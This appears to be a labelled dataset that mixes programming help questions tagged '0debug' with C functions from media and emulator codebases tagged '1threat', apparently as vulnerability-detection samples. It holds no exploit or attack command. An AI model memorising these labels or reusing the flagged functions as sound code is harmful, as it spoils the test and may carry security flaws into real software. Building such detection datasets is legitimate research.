manifest, and after changing the theme, I get this error pls help I referenced this page http://dudmy.net/android/2017/04/09/improved-loading-screen/
0debug
How do GraphQL & Redux work together? : <p>I am wondering about the relationship between the two. I am quite confused since I see them both as ways to manage state almost, and there seems to be an overlap, so I am seeking a conceptual distinction I can apply in order to find out what information to keep where and how to make them work together. Any advice?</p>
0debug
Bootstrap - styling the toggle button on nav for mobile? : <p>I've tried googling this but am struggling to find the correct selector/class and I'm still quite new to bootstrap.</p> <p>I'm trying to style my navigation menu on mobile. Here's an image, for reference; I'd like to change the glyphicon here (I believe it's a hamburger at the minute), and its colour. </p> <p><a href="https://i.stack.imgur.com/8vjWC.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8vjWC.png" alt="The area I want to modify"></a></p> <p>I'd also like to increase the distance between the nav bar and the cascading bottom menu here:</p> <p><a href="https://i.stack.imgur.com/cLmrc.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/cLmrc.png" alt="Right now it looks like a 1px line"></a></p> <p>At the minute it looks like a 1px line. </p> <p>I've tried modifying quite a few selectors in css but I'm not sure what I'm doing wrong. Any advice?</p>
0debug
How to fetch data from a xml string - C# : I have one class like below namespace CustomerData { [Serializable] public class Customer { [JsonProperty(PropertyName = "u_additional_DeskNumber ")] public string DeskNumber { get; set; } [JsonProperty(PropertyName = "u_additional_customerid")] public string CustomerID{ get; set; } } } I am fetching data from Database and mapping to this Customerclass. From Database DeskNumber will return in either following format.Db data type for desknumber is nvarchar **Format 1.** <AdditionalInfo><Number>164</Number></AdditionalInfo> **Format2** AdditionalInfo><Code>GLW51</Code><Lang>GLW51</LangCode><TzCode>GLW51</TzCode></AdditionalInfo> If data returns Format1 ,i need to return value under Number tag (ie .164).Value under Number tag will be different at different time. If the value returned from databse is in any other format other than Format 1,then value should set as blank. I am using following generic method for Mappaing data reader to Corresponding Classes private static List<T> MapDataToEntity<T>(IDataReader dr) where T : new() { Type businessEntityType = typeof(T); List<T> entitys = new List<T>(); Hashtable hashtable = new Hashtable(); PropertyInfo[] properties = businessEntityType.GetProperties(); foreach (PropertyInfo info in properties) { hashtable[info.Name.ToUpper()] = info; } while (dr.Read()) { T newObject = new T(); for (int index = 0; index < dr.FieldCount; index++) { PropertyInfo info = (PropertyInfo) hashtable[dr.GetName(index).ToUpper()]; if ((info != null) && info.CanWrite) { info.SetValue(newObject, dr.GetValue(index), null); } } entitys.Add(newObject); } dr.Close(); return entitys; } So i have following questions, 1.How can i find value under <Nubmer></Number> from this below string <AdditionalInfo><Number>164</Number></AdditionalInfo> 2. How to add a logic that id its not in above format,then it should blank. 3.Where i need to pu this logic,In Set Method of DeskNumber ?? Can anyone help me on this with a sample code
0debug
void sysbus_register_withprop(SysBusDeviceInfo *info) { info->qdev.init = sysbus_device_init; info->qdev.bus_type = BUS_TYPE_SYSTEM; assert(info->qdev.size >= sizeof(SysBusDevice)); qdev_register(&info->qdev); }
1threat
Python equivalent to subset function in r : <p>I don't know python at all but the project I'm currently working on must be done using it, I have this r code </p> <p><code>y_train &lt;- subset(train_df_cleaned_2, Id==IdExec)$Y</code> </p> <p>and I need to do the exact same thing in python. How do I do it? Thank you </p>
0debug
is /user/:id a valid PUT or is /:id only for GET? : <p>Is <code>/user/:id</code> a valid PUT or is <code>/:id</code> only for GET?</p> <p>Should I use headers instead? I am trying to differentiate a create user call and an edit user call. I have done this before but I have a feeling that I haven't been following REST faithfully.</p>
0debug
R convert df from wide to long by splitting column names : <p>I am trying to convert the below df_original data.frame to the form in df_goal. The columns from the original data.frame shall be split, with the latter part acting as a key, while the first part shall be kept as a variable name. Preferably I would like to use a tidyverse-solution, but am open to every aproach. Thank you very much!</p> <pre><code>df_original &lt;- data.frame(id = c(1,2,3), variable1_partyx = c(4,5,6), variable1_partyy = c(14,15,16), variable2_partyx = c(24,25,26), variable2_partyy = c(34,35,36)) df_goal &lt;- data.frame(id = c(1,1,2,2,3,3), key = c("partyx","partyy","partyx","partyy","partyx","partyy"), variable1 = c(4,14,5,15,6,16), variable2 = c(24,34,25,35,26,36)) </code></pre>
0debug
Save a mysql query to a string in PHP : <p>I am trying to execute in PHP a sql query and save it to a single string. The SELECT query will output a single cell of the table and I need it as a string.</p> <pre><code>$pdo1 = new PDO('mysql:host=dbIP;dbname=dbname', 'dbuser', 'pw'); $statement = $pdo-&gt;prepare("SELECT username FROM wcfusers WHERE email='$email"); </code></pre> <p>I found some other methodes but they dont use the PDO. I would apreciate any kind of help. I hope someone can help me with my small problem.</p>
0debug
How to call second cell from first cell : <p>Good afternoon, i have tableview controller and in table i have 2 cell (DefaultCell and ExpansionCell). Question: how to call ExpansionCell from Defaultcell when they press.</p>
0debug
static int scan_mmco_reset(AVCodecParserContext *s, GetBitContext *gb, void *logctx) { H264PredWeightTable pwt; int slice_type_nos = s->pict_type & 3; H264ParseContext *p = s->priv_data; int list_count, ref_count[2]; if (p->ps.pps->redundant_pic_cnt_present) get_ue_golomb(gb); if (slice_type_nos == AV_PICTURE_TYPE_B) get_bits1(gb); if (ff_h264_parse_ref_count(&list_count, ref_count, gb, p->ps.pps, slice_type_nos, p->picture_structure, logctx) < 0) return AVERROR_INVALIDDATA; if (slice_type_nos != AV_PICTURE_TYPE_I) { int list; for (list = 0; list < list_count; list++) { if (get_bits1(gb)) { int index; for (index = 0; ; index++) { unsigned int reordering_of_pic_nums_idc = get_ue_golomb_31(gb); if (reordering_of_pic_nums_idc < 3) get_ue_golomb_long(gb); else if (reordering_of_pic_nums_idc > 3) { av_log(logctx, AV_LOG_ERROR, "illegal reordering_of_pic_nums_idc %d\n", reordering_of_pic_nums_idc); return AVERROR_INVALIDDATA; } else break; if (index >= ref_count[list]) { av_log(logctx, AV_LOG_ERROR, "reference count %d overflow\n", index); return AVERROR_INVALIDDATA; } } } } } if ((p->ps.pps->weighted_pred && slice_type_nos == AV_PICTURE_TYPE_P) || (p->ps.pps->weighted_bipred_idc == 1 && slice_type_nos == AV_PICTURE_TYPE_B)) ff_h264_pred_weight_table(gb, p->ps.sps, ref_count, slice_type_nos, &pwt, logctx); if (get_bits1(gb)) { int i; for (i = 0; i < MAX_MMCO_COUNT; i++) { MMCOOpcode opcode = get_ue_golomb_31(gb); if (opcode > (unsigned) MMCO_LONG) { av_log(logctx, AV_LOG_ERROR, "illegal memory management control operation %d\n", opcode); return AVERROR_INVALIDDATA; } if (opcode == MMCO_END) return 0; else if (opcode == MMCO_RESET) return 1; if (opcode == MMCO_SHORT2UNUSED || opcode == MMCO_SHORT2LONG) get_ue_golomb_long(gb); if (opcode == MMCO_SHORT2LONG || opcode == MMCO_LONG2UNUSED || opcode == MMCO_LONG || opcode == MMCO_SET_MAX_LONG) get_ue_golomb_31(gb); } } return 0; }
1threat
installed laravel but unable to view the project : <p>I have just installed and downloaded laravel and installed via composer the laravel folder is located in my htdocs/laravel now when I type in localhost/laravell it is showing me list of files how can i access the project I am new to laravel lsearched alot but non of them help me out can anyone help me out with my query please</p>
0debug
static int usbnet_can_receive(void *opaque) { USBNetState *s = opaque; if (s->rndis && !s->rndis_state == RNDIS_DATA_INITIALIZED) return 1; return !s->in_len; }
1threat
Hide a colomn when fetch the all data in PHP : everyone, I want to list all users data from the database in PHP. there will be a user is logged-in at a single time. I want un-fetch or hide a single column who has active(logged-in). so, I'm asking you how can I do this... $query=$conn->pdo->exec("SELECT * FROM usertable"); $row=$query->fetch(); <thead> <tr> <th>User Name</th> <th>Name</th> <th>Email</th> <th>Role</th> <th>Post</th> <th>Action</th> </tr> </thead> <tbody> <?php while($row=$query->fetch()){ ?> <tr> <td><?php echo $row['username']; ?> </td> <td><?php echo ucfirst($row['name']); ?> </td> <td><?php echo $row['username']; ?></td> <td><?php echo ucfirst($row['user_type']); ?></td> <td><?php echo $row['id']; ?></td> <td>
0debug
void gen_intermediate_code(CPUSH4State * env, struct TranslationBlock *tb) { SuperHCPU *cpu = sh_env_get_cpu(env); CPUState *cs = CPU(cpu); DisasContext ctx; target_ulong pc_start; int num_insns; int max_insns; pc_start = tb->pc; ctx.pc = pc_start; ctx.tbflags = (uint32_t)tb->flags; ctx.envflags = tb->flags & DELAY_SLOT_MASK; ctx.bstate = BS_NONE; ctx.memidx = (ctx.tbflags & (1u << SR_MD)) == 0 ? 1 : 0; ctx.delayed_pc = -1; ctx.tb = tb; ctx.singlestep_enabled = cs->singlestep_enabled; ctx.features = env->features; ctx.has_movcal = (ctx.tbflags & TB_FLAG_PENDING_MOVCA); num_insns = 0; max_insns = tb->cflags & CF_COUNT_MASK; if (max_insns == 0) { max_insns = CF_COUNT_MASK; } if (max_insns > TCG_MAX_INSNS) { max_insns = TCG_MAX_INSNS; } gen_tb_start(tb); while (ctx.bstate == BS_NONE && !tcg_op_buf_full()) { tcg_gen_insn_start(ctx.pc, ctx.envflags); num_insns++; if (unlikely(cpu_breakpoint_test(cs, ctx.pc, BP_ANY))) { gen_save_cpu_state(&ctx, true); gen_helper_debug(cpu_env); ctx.bstate = BS_EXCP; ctx.pc += 2; break; } if (num_insns == max_insns && (tb->cflags & CF_LAST_IO)) { gen_io_start(); } ctx.opcode = cpu_lduw_code(env, ctx.pc); decode_opc(&ctx); ctx.pc += 2; if ((ctx.pc & (TARGET_PAGE_SIZE - 1)) == 0) break; if (cs->singlestep_enabled) { break; } if (num_insns >= max_insns) break; if (singlestep) break; } if (tb->cflags & CF_LAST_IO) gen_io_end(); if (cs->singlestep_enabled) { gen_save_cpu_state(&ctx, true); gen_helper_debug(cpu_env); } else { switch (ctx.bstate) { case BS_STOP: gen_save_cpu_state(&ctx, true); tcg_gen_exit_tb(0); break; case BS_NONE: gen_save_cpu_state(&ctx, false); gen_goto_tb(&ctx, 0, ctx.pc); break; case BS_EXCP: case BS_BRANCH: default: break; } } gen_tb_end(tb, num_insns); tb->size = ctx.pc - pc_start; tb->icount = num_insns; #ifdef DEBUG_DISAS if (qemu_loglevel_mask(CPU_LOG_TB_IN_ASM) && qemu_log_in_addr_range(pc_start)) { qemu_log_lock(); qemu_log("IN:\n"); log_target_disas(cs, pc_start, ctx.pc - pc_start, 0); qemu_log("\n"); qemu_log_unlock(); } #endif }
1threat
How to compare "Any" value types : <p>I have several "Any" value types that I want to compare.</p> <pre><code>var any1: Any = 1 var any2: Any = 1 var any3: Any = "test" var any4: Any = "test" print(any1 == any2) print(any2 == any3) print(any3 == any4) </code></pre> <p>Using the == operator shows an error:</p> <blockquote> <p>"Binary operator '==' cannot be applied to two 'Any' (aka 'protocol&lt;>') operands"</p> </blockquote> <p>What would be the way to do this ? </p>
0debug
Extracting More than 5 reviews from Google places/Map Api : <p>I want to the review data for different places in my locality. Is there any way that i can extract more than 5 review results as the api is returning only 5 reviews per place.</p>
0debug
Update with parameter using room persistent library : <p>How will I update an entire row using room library, the @Update take a @Entity annotated object and updates it via referencing primary key but how will I update via some other parameter like update where certain value matches a value in cell in a row.</p> <pre><code>//Simple update @Update int updateObject(ObjectEntity... objectEntities); //Custom Update @Query(UPDATE TABLENAME ????) int updateObject(ObjetEntity objectEntity,String field); </code></pre> <p>What should I pass in place of ???? such that the new objectEntity is replaced by old one where the field value matches.</p>
0debug
is it possible to use a NPM made by angular 8 in javascript or even react native? : #is it possible to use a NPM made by angular 8 in javascript or even react native? # I made an angular8 app and want to convert to NPM if there is possible to use in normal Javascript app (or even in react native app), is it possible? please let me know if there is any detail to know? thanks in advanced
0debug
But i don't know how to classify customers after they signed in? : **The below is my class Ability. It means if you are admin you can do everything, else you just can read. But i don't know how to classify customers after they signed in? If you have any suggestion pls help me!** class Ability include CanCan::Ability def initialize(user) user ||= User.new # guest user (not logged in) if user.admin? can :manage, :all else can :read, :all end end end
0debug
Stuck with Sql code and need urgent response : This is how my data look like : id type times_purchased 1a a 1 1a a 2 1a b 3 1a b 4 1a c 5 1a b 6 2a b 1 2a b 2 2a c 3 2a a 4 2a c and I want the new variable new_type as mentioned below, id new_type 1a a_b_c 2a b_c_a for eg: ID = 1a,times purchased = 1 then new_type = type and it will add another type like concat (times purchased doesnot matter for next type)
0debug
unit test mocha Visual Studio Code describe is not defined : <p>If i run in the console the test runs fine</p> <pre><code> mocha --require ts-node/register tests/**/*.spec.ts </code></pre> <p>Note: I installed mocha and mocha -g</p> <p>I want to run unit test from Visual Studio Code</p> <p>launcgh.js file</p> <pre><code> "version": "0.2.0", "configurations": [ { "type": "node", "request": "launch", "name": "Mocha Tests", "program": "${workspaceFolder}/node_modules/mocha/bin/_mocha", "args": [ "--require", "ts-node/register", "-u", "tdd", "--timeout", "999999", "--colors", "${workspaceFolder}/tests/**/*.spec.ts" ], "internalConsoleOptions": "openOnSessionStart" }, </code></pre> <p>Very simple Test file</p> <pre><code> import { expect } from 'chai'; const hello = () =&gt; 'Hello world!'; describe('Hello function', () =&gt; { it('should return hello world', () =&gt; { const result = hello(); expect(result).to.equal('Hello world!'); }); }); </code></pre> <p>but in the Visual studio Code debug console</p> <pre><code> /usr/local/bin/node --inspect-brk=15767 node_modules/mocha/bin/_mocha --require ts-node/register -u tdd --timeout 999999 --colors /Applications/MAMP/htdocs/ddd-board-game/backend/tests/**/*.spec.ts Debugger listening on ws://127.0.0.1:15767/bdec2d9c-39a7-4fb7-8968-8cfed914ea8d For help, see: https://nodejs.org/en/docs/inspector Debugger attached. /Applications/MAMP/htdocs/ddd-board-game/backend/tests/dummy.spec.ts:3 source-map-support.js:441 describe('Hello function', () =&gt; { ^ ReferenceError: describe is not defined source-map-support.js:444 at Object.&lt;anonymous&gt; (/Applications/MAMP/htdocs/ddd-board-game/backend/tests/dummy.spec.ts:1:1) at Module._compile (internal/modules/cjs/loader.js:701:30) at Module.m._compile (/Applications/MAMP/htdocs/ddd-board-game/backend/node_modules/ts-node/src/index.ts:414:23) </code></pre>
0debug
Could not find or load main class java hello world : <p>I am trying to write <strong>hello world</strong> on java. My code is:</p> <pre><code>class myfirstjavaprog { public static void main(String args[]) { System.out.println("Hello World!"); } } </code></pre> <p>And when I run <strong>java youtube.java</strong> on cmd I got this error:</p> <p><strong>Error: Could not find or load main class youtube.java</strong></p>
0debug
How to choose multiple batch commands to run in Visual Basic? : I have written a code in Visual Basic. It works, but i want to be able to choose how many times a batch file will be opened. Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click Dim command As String command = "ping " + "-l " + TextBox2.Text + " /t " + TextBox1.Text Shell("cmd.exe /k" & command, 0) End Sub So i have a TextBox called "TextBox3" where i wanna be able to write from 1-100, how many times the command will run.
0debug
Can't create handler inside thread Thread[Thread-5,5,main] that has not called Looper.prepare() : <p>What does the following exception mean; how can I fix it? <strong>This is the code:</strong></p> <pre><code> if (response.isSuccessful()) { String message = response.body().string(); JSONObject jsonObject = new JSONObject(message); new AlertDialog.Builder(mcontext) .setTitle("title:") .setMessage(TmpPwd) .setPositiveButton("close", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { } }) .show(); } </code></pre> <p><strong>This is the exception:</strong></p> <pre><code> W/System.err: java.lang.RuntimeException: Can't create handler inside thread Thread[Thread-5,5,main] that has not called Looper.prepare() at android.os.Handler.&lt;init&gt;(Handler.java:205) </code></pre>
0debug
static void spr_write_dbatl (void *opaque, int sprn) { DisasContext *ctx = opaque; gen_op_store_dbatl((sprn - SPR_DBAT0L) / 2); RET_STOP(ctx); }
1threat
int inet_connect_opts(QemuOpts *opts, bool block, bool *in_progress, Error **errp) { struct addrinfo *res, *e; int sock = -1; res = inet_parse_connect_opts(opts, errp); if (!res) { return -1; } if (in_progress) { *in_progress = false; } for (e = res; e != NULL; e = e->ai_next) { sock = inet_connect_addr(e, block, in_progress); if (sock >= 0) { break; } } if (sock < 0) { error_set(errp, QERR_SOCKET_CONNECT_FAILED); } freeaddrinfo(res); return sock; }
1threat
What is purpose for docker hub : I can't imagine why do i need docker hub As i know, we can't push on docker hub with docker-compose It is just a hub which contains image only. We can push our repository to github so that someone who want to execute our source can pull it from github. Then, they can run command like `docker-compose up`. I think this is all we need with github or bitbucket, not docker hub Is there something more feature i can use or i have to consider with docker hub?
0debug
how to join one to many tables in oracle : I have four tables Order, Employee, Supply, Supply_company Order--- Contains -—------------- Order_id Order name Emp_id Employee--- Contains ------------------ Emp_id Emp_name Supply ----- Contains -------------------- Supply_id Order_id SupplierName Supply_company-----Contains ---------------------- Supply_company_id Supply_id Supplier_desc address In these 4 tables one employee has more than one order and One order has many supply id's and for that one supply id we have one supplier desc. I wanted to display supplier_desc based on emp id. I am getting all the descriptions assosciated for all orders but I need to get specific desc for specific order,I have tried distinct, listagg, inner join and left outer join and used subquery in where clause but I didn't fina any solution. Any solution will be appreciatable.Thanks
0debug
(Python) Idk what to do : <p>So I was learning how to make a tic tac toe game from a website and when I finished, I couldn't play it because I keep getting the same error, I checked my work and every thing was fine, here's the code</p> <pre><code>import random from time import sleep print "To play this game, you use your 1-9 keys" print "This is layout of each number representing a square" print "7|8|9" print "4|5|6" print "1|2|3" print " " def drawboard(board): #Draws the board print "Board" print '' + board[7] + '|' + board[8] + '|' + board[9] print '' + board[4] + '|' + board[5] + '|' + board[6] print '' + board[1] + '|' + board[2] + '|' + board[3] def inputplayerletter(): #Asks player if they want to be X or O letter = '' while not letter == 'X' or letter == 'O': print "Do you want to be X or O?" letter = raw_input(" ").upper() if letter == 'X': return ['X', 'O'] else: return ['O', 'X'] def whogoesfirst(): #This determines who goes first if random.randint(0,1) == '0': return 'computer' else: return 'player' def playagain(): #Asks player if it wants to play again print "Do you want to play again?(Y/N)" return raw_input("").lower().startswith('y') def makemove(board, letter, move): #When someone makes a move we execute this function board[move] = letter def winner(bo,le): #Determines whose the winner return ((bo[7] == le and bo[8] == le and bo[9] == le) or (bo[4] == le and bo[5] == le and bo[6] == le) or (bo[1] == le and bo[2] == le and bo[3] == le) or (bo[7] == le and bo[4] == le and bo[1] == le) or (bo[8] == le and bo[5] == le and bo[2] == le) or (bo[9] == le and bo[6] == le and bo[3] == le) or (bo[7] == le and bo[5] == le and bo[3] == le) or (bo[9] == le and bo[5] == le and bo[1] == le) def getboardcopy(board): #Creates a copy of the board for the computer AI dupeboard = [] for i in dupeboard: dupeboard.append(i) return dupeboard def isspacefree(board, move): #Checks if space is free. return board[move] == '' def playermove(board): #Where the player inputs his/her move move = '' while move not in '1 2 3 4 5 6 7 8 9'.split() or not isspacefree(board, int(move)): print "your move (Pick from 1-9)" move = raw_input("") return int(move) def choosemovefromlist(board, movelist): #chooses possible moves from list possiblemoves = [] for i in moveslist: if isspacefree(board, i): possiblemoves.append(i) if len(possiblemoves) != 0: return random.choice(possiblemove) else: return None def computerai(board, computerletter): #Computer AI if computerletter == 'X': playerletter = 'O' else: playerletter = 'X' for i in range(1,10): dupe = getboardcopy(board) if isspacefree(copy, i): makemove(board, computerletter, i) if winner(copy, computerletter): return i for i in range(1,10): dupe = getboardcp[y(board) if isspacefree(copy, i): makemove(board, playerletter, i) if winner(copy, playerletter): return i move = choosemovefromlist(board, [1, 3, 7, 9]) if move != None: return move if isspacefree(board, 5): return 5 return choosemovefromlist(board[2,4,6,8]) def isboardfull(board): for i in range(1,10): if isspacefree(board, i): return False return True print "Welcome to Tic Tac Toe!" while True: theboard = [''] * 10 print "Flipping the coin..." sleep(2) turn = whogoesfirst() print "The " + turn + " goes first." gameinprogress = True while gameinprogress: if turn == 'player': drawboard(theboard) move = getplayermove(theboard) makemove = (theboard, playerletter, move) if winner(theboard, playerletter): drawboard(theboard) print "The player wins the game! Congratulations!" gameinprogress = False else: if isboardfull(theboard): drawboard(theboard) print "Tie game! No one wins!" break else: turn = 'computer' else: move = computerai(theboard, computerletter) makemove(theboard, computerletter, move) if winner(theboard, computerletter): drawboard(theboard) print "The computer has beaten the player!" break else: turn = 'player' if not playagain(): break </code></pre> <p>I keep getting an error here:</p> <pre><code>def getboardcopy(board): #Creates a copy of the board for the computer AI dupeboard = [] for i in dupeboard: dupeboard.append(i) return dupeboard def isspacefree(board, move): #Checks if space is free. return board[move] == '' def playermove(board): #Where the player inputs his/her move move = '' while move not in '1 2 3 4 5 6 7 8 9'.split() or not isspacefree(board, int(move)): print "your move (Pick from 1-9)" move = raw_input("") return int(move) def choosemovefromlist(board, movelist): #chooses possible moves from list possiblemoves = [] for i in moveslist: if isspacefree(board, i): possiblemoves.append(i) if len(possiblemoves) != 0: return random.choice(possiblemove) else: return None def computerai(board, computerletter): #Computer AI if computerletter == 'X': playerletter = 'O' else: playerletter = 'X' for i in range(1,10): dupe = getboardcopy(board) if isspacefree(copy, i): makemove(board, computerletter, i) if winner(copy, computerletter): return i for i in range(1,10): dupe = getboardcp[y(board) if isspacefree(copy, i): makemove(board, playerletter, i) if winner(copy, playerletter): return i move = choosemovefromlist(board, [1, 3, 7, 9]) if move != None: return move if isspacefree(board, 5): return 5 return choosemovefromlist(board[2,4,6,8]) def isboardfull(board): for i in range(1,10): if isspacefree(board, i): return False return True print "Welcome to Tic Tac Toe!" </code></pre> <p>even if I remove a defined function here, another error appears. </p> <p>So when I ran the code normally, this is the error I get</p> <pre><code>Traceback (most recent call last): File "python", line 49 def getboardcopy(board): #Creates a copy of the board for the computer AI ^ SyntaxError: invalid syntax </code></pre> <p>So when I remove that defined function from my code, I get this error:</p> <pre><code>Traceback (most recent call last): File "python", line 50 def isspacefree(board, move): #Checks if space is free. ^ SyntaxError: invalid syntax </code></pre> <p>Even if I remove that function too, the same error happens to the function after this function, and then if I remove every single function starting from def getboardcopy, I get an error at my print statement. Then when I remove that I get another error from the while loop. I'm using Python 2.7.2</p>
0debug
Android: Create bigger Floating Action Button with bigger icon : <p>I want to create a bigger Floating Action Button (FAB), more than the usual 56 dp, with a bigger icon inside. (For my purpose an icon will never be self-explanatory so I will create a png-file containing a short text and use this png as icon.)</p> <p>Increasing the size of the FAB works fine:<br> as i don't use the mini-FloatingActionButton, i redefined the mini-button-size.<br> in my <strong>layout-xml</strong> i specify: </p> <pre><code>&lt;android.support.design.widget.FloatingActionButton ... app:fabSize="mini" .... </code></pre> <p>and in the <strong>dimensions.xml</strong> i redefine the size for the mini-fab: </p> <pre><code>&lt;dimen name="fab_size_mini"&gt;80dp&lt;/dimen&gt; </code></pre> <p>However, I didn't manage to get a bigger icon on the FAB. I tried icons with different dp's from the material icons library - no success. Also setting a padding on the FAB-layout did not work.</p> <p>Any suggestions? Thanks!</p>
0debug
static int tpm_passthrough_unix_tx_bufs(TPMPassthruState *tpm_pt, const uint8_t *in, uint32_t in_len, uint8_t *out, uint32_t out_len) { int ret; tpm_pt->tpm_op_canceled = false; tpm_pt->tpm_executing = true; ret = tpm_passthrough_unix_write(tpm_pt->tpm_fd, in, in_len); if (ret != in_len) { if (!tpm_pt->tpm_op_canceled || (tpm_pt->tpm_op_canceled && errno != ECANCELED)) { error_report("tpm_passthrough: error while transmitting data " "to TPM: %s (%i)\n", strerror(errno), errno); } goto err_exit; } tpm_pt->tpm_executing = false; ret = tpm_passthrough_unix_read(tpm_pt->tpm_fd, out, out_len); if (ret < 0) { if (!tpm_pt->tpm_op_canceled || (tpm_pt->tpm_op_canceled && errno != ECANCELED)) { error_report("tpm_passthrough: error while reading data from " "TPM: %s (%i)\n", strerror(errno), errno); } } else if (ret < sizeof(struct tpm_resp_hdr) || tpm_passthrough_get_size_from_buffer(out) != ret) { ret = -1; error_report("tpm_passthrough: received invalid response " "packet from TPM\n"); } err_exit: if (ret < 0) { tpm_write_fatal_error_response(out, out_len); } tpm_pt->tpm_executing = false; return ret; }
1threat
Sort keys and values in dictionary using LINQ : <p>I just wrote some code adding data into this Dictionary:</p> <pre><code> Dictionary&lt;string, Dictionary&lt;string, double&gt;&gt; studentsExamsMarks = new Dictionary&lt;string, Dictionary&lt;string, double&gt;&gt;(); studentsExamsMarks.Add("Peter", new Dictionary&lt;string, double&gt;()); studentsExamsMarks["Peter"].Add("History", 5.15); studentsExamsMarks["Peter"].Add("Biology", 4.20); studentsExamsMarks["Peter"].Add("Physics", 4.65); studentsExamsMarks.Add("John", new Dictionary&lt;string, double&gt;()); studentsExamsMarks["John"].Add("History", 6.00); studentsExamsMarks["John"].Add("Biology", 3.75); studentsExamsMarks["John"].Add("Physics", 4.15); studentsExamsMarks.Add("Michael", new Dictionary&lt;string, double&gt;()); studentsExamsMarks["Michael"].Add("History", 3.00); studentsExamsMarks["Michael"].Add("Biology", 3.95); studentsExamsMarks["Michael"].Add("Physics", 4.95); </code></pre> <p>How should I sort and print first by the name of the student (ascending order)and than by the value of the doubles in the inner dictionary or by the name of the subject? I`ll be very thankful if you show me both Versions. Thank you!</p>
0debug
static int sami_paragraph_to_ass(AVCodecContext *avctx, const char *src) { SAMIContext *sami = avctx->priv_data; int ret = 0; char *tag = NULL; char *dupsrc = av_strdup(src); char *p = dupsrc; AVBPrint *dst_content = &sami->encoded_content; AVBPrint *dst_source = &sami->encoded_source; av_bprint_clear(&sami->encoded_content); av_bprint_clear(&sami->content); av_bprint_clear(&sami->encoded_source); for (;;) { char *saveptr = NULL; int prev_chr_is_space = 0; AVBPrint *dst = &sami->content; p = av_stristr(p, "<P"); if (!p) break; if (p[2] != '>' && !av_isspace(p[2])) { p++; continue; } if (dst->len) av_bprintf(dst, "\\N"); tag = av_strtok(p, ">", &saveptr); if (!tag || !saveptr) break; p = saveptr; if (av_stristr(tag, "ID=Source") || av_stristr(tag, "ID=\"Source\"")) { dst = &sami->source; av_bprint_clear(dst); } while (av_isspace(*p)) p++; if (!strncmp(p, "&nbsp;", 6)) { ret = -1; goto end; } while (*p) { if (*p == '<') { if (!av_strncasecmp(p, "<P", 2) && (p[2] == '>' || av_isspace(p[2]))) break; } if (!av_strncasecmp(p, "<BR", 3)) { av_bprintf(dst, "\\N"); p++; while (*p && *p != '>') p++; if (!*p) break; if (*p == '>') p++; continue; } if (!av_isspace(*p)) av_bprint_chars(dst, *p, 1); else if (!prev_chr_is_space) av_bprint_chars(dst, ' ', 1); prev_chr_is_space = av_isspace(*p); p++; } } av_bprint_clear(&sami->full); if (sami->source.len) { ret = ff_htmlmarkup_to_ass(avctx, dst_source, sami->source.str); if (ret < 0) goto end; av_bprintf(&sami->full, "{\\i1}%s{\\i0}\\N", sami->encoded_source.str); } ret = ff_htmlmarkup_to_ass(avctx, dst_content, sami->content.str); if (ret < 0) goto end; av_bprintf(&sami->full, "%s", sami->encoded_content.str); end: av_free(dupsrc); return ret; }
1threat
How to create a key hash in Ruby without quotes : Im trying to create a header to my api like this: header = {:Content-Type => "application/json"} But Im having a problem with the key that contains a dash. If I use ( :"Content-Type" ) or ( "Content-Type".to_sym ) the results is a key like this: irb(main):001:0> "Content-Type".to_sym => :"Content-Type" I found some people saying that I can use .to_sym.inspect to create a Symbol without quotes, but it didnt work. irb(main):002:0> "Content-Type".to_sym.inspect => ":\"Content-Type\""
0debug
how to get sum of same value and different value in same row : **table 1** <br> invno &emsp;percentage &emsp; cost <br> 1 &emsp;&emsp;&emsp;&emsp;18% &emsp;&emsp;&emsp;18.00 <br> 1 &emsp;&emsp;&emsp;&emsp;18% &emsp;&emsp;&emsp;18.00 <br> 2 &emsp;&emsp;&emsp;&emsp;18% &emsp;&emsp;&emsp;18.00 <br> 2 &emsp;&emsp;&emsp;&emsp;28% &emsp;&emsp;&emsp;28.00 <br> <br> **table 2**<br> id &emsp;percentage<br> 1 &emsp;&emsp;&emsp;18%<br> 2 &emsp;&emsp;&emsp;28% table 2 percentage is title of output . invno 1 have 2 entry but same percentage sum showing under 18% , but invno 2 have 2 entry different percentage so output sum showing different <br> **output**<br> invno &emsp;&emsp;percentage 18% &emsp;&emsp;percentage 28% <br> 1 &emsp;&emsp;&emsp;&emsp;&emsp;&emsp; 36.00 &emsp;&emsp;&emsp;&emsp;&emsp;&emsp;&emsp;0.00<br> 2 &emsp;&emsp;&emsp;&emsp;&emsp;&emsp;18.00 &emsp;&emsp;&emsp;&emsp;&emsp;&emsp;&emsp;28.00 <br> please give me mysql query for this output
0debug